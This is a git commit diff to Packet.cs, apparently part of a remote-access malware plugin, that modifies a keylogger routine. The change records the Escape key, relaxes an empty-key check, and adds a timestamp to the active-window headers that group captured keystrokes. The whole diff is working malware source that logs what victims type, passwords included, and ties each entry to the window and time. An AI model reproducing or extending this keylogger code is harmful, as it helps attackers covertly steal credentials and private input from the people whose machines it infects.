Update Packet.cs

This commit is contained in:
NYAN CAT 2019-10-16 02:34:50 +03:00
parent e5aedb24ca
commit 14641e08d1

View File

@ -121,7 +121,7 @@ namespace Plugin
currentKey = "[ENTER]\n"; currentKey = "[ENTER]\n";
break; break;
case "Escape": case "Escape":
currentKey = ""; currentKey = "[ESC]\n";
break; break;
case "Back": case "Back":
currentKey = "[Back]"; currentKey = "[Back]";
@ -132,7 +132,7 @@ namespace Plugin
} }
} }
if (!string.IsNullOrWhiteSpace(currentKey)) if (!string.IsNullOrEmpty(currentKey))
{ {
StringBuilder sb = new StringBuilder(); StringBuilder sb = new StringBuilder();
if (CurrentActiveWindowTitle == GetActiveWindowTitle()) if (CurrentActiveWindowTitle == GetActiveWindowTitle())
@ -143,7 +143,7 @@ namespace Plugin
{ {
sb.Append(Environment.NewLine); sb.Append(Environment.NewLine);
sb.Append(Environment.NewLine); sb.Append(Environment.NewLine);
sb.Append($"### {GetActiveWindowTitle()} ###"); sb.Append($"### {GetActiveWindowTitle()} | {DateTime.Now.ToShortTimeString()} ###");
sb.Append(Environment.NewLine); sb.Append(Environment.NewLine);
sb.Append(currentKey); sb.Append(currentKey);
} }